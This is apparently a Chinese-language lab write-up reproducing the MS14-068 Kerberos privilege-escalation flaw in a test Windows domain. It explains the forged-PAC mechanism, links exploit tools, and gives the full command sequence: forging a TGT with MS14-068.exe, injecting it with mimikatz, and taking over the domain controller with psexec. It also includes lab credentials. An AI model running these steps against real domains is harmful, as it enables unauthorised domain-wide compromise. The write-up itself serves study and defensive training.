0x01 漏洞详情
本场景中包含了域控和域用户, 通过登录域用户主机对域控进行攻击, 攻击成功后将域内任意用户权限提升至域管理级别, 从而获取整个域权限。
0x02 虚拟机信息
节点名称 | 镜像名称 | 域用户 | IP地址 |
---|---|---|---|
域控 | Windows 2008 | administrator | 192.168.15.251 |
域用户 | Win7 | liming | 192.168.15.199 |
0x03 漏洞原理
用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
漏洞原因:
A、在域中默认允许设置Include-pac的值为False(不能算漏洞,应该是微软对于某些特定场景的特殊考虑设计出的机制)。
B、PAC中的数字签名可以由Client端指定,并且Key的值可以为空。
C、PAC的加密方式也可以由Client指定,并且Key的值为generate_subkey函数生成的16位随机数。
D、构造的PAC中包含高权限组的SID内容。
也就是说通过这几点Client完全伪造了一个PAC发送给KDC,并且KDC通过Client端在请求中指定的加密算法来解密伪造的PAC以及校验数字签名,并验证通过。
0x04 漏洞利用前提
1.域控没有打MS14-068的补丁
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
0x05 利用的工具
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://download.sysinternals.com/files/PSTools.zip
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases
0x06 漏洞复现
在命令行中输入whoami
查看当前用户
查看用户的 SID
执行whoami /all
获取sid将sid号复制下来。
获取域控主机名
net group "domain controllers" /do
生成高权限票据
使用MS14-068.exe
工具生成票据,网上的版本有很多,有py版本的,有windows可执行文件exe版本的
ms14-068 -u 域用户名@域名 -p 域用户密码 -s 域sid号 -d 域控主机名
域成员:liming
域名:sec.com
liming的 sid:S-1-5-21-1051416441-2990317049-3628072545-1182
域控制器地址:192.168.15.251
域成员 mary 的密码:admin!@#45
使用命令如下:
MS14-068.exe -u liming@sec.com -p liming123 -s S-1-5-21-1051416441-2990317049-3628072545-1182 -d SCENE
之后会在当前路径下生成一个名为 :TGT_liming@sec.com.ccahe.ccache 的票据文件。
查看注入前的权限
测试是否可以访问域控共享文件
dir \\域控主机名.域名\c$
可以看到显示 “拒绝访问”,这是正常,域普通用户当然没有权限访问域控共享文件。
清除内存中所有票据
进入mimikatz目录 在改文件下 右键选择"在此处打开命令行窗口"
进入 mimikatz
kerberos::purge 清除票据(清空当前系统中的票据,防止其他票据对实验环境进行干扰)
kerberos::list //查看凭证
将高权限票据注入内存
使用以下命令将票据注入内存
kerberos::ptc 凭证地址
显示 Injecting ticket:OK ,表示注入成功!
验证权限
再次访问域控的共享文件,即可发现已经成功列出目录了
使用 Psexec64.exe 横向移动, 在wndowsTools文件夹中右键选择"在此处打开命令行窗口"
-
在命令行中输入, 成功获取域控权限。
psexec.exe \\scene.sec.com cmd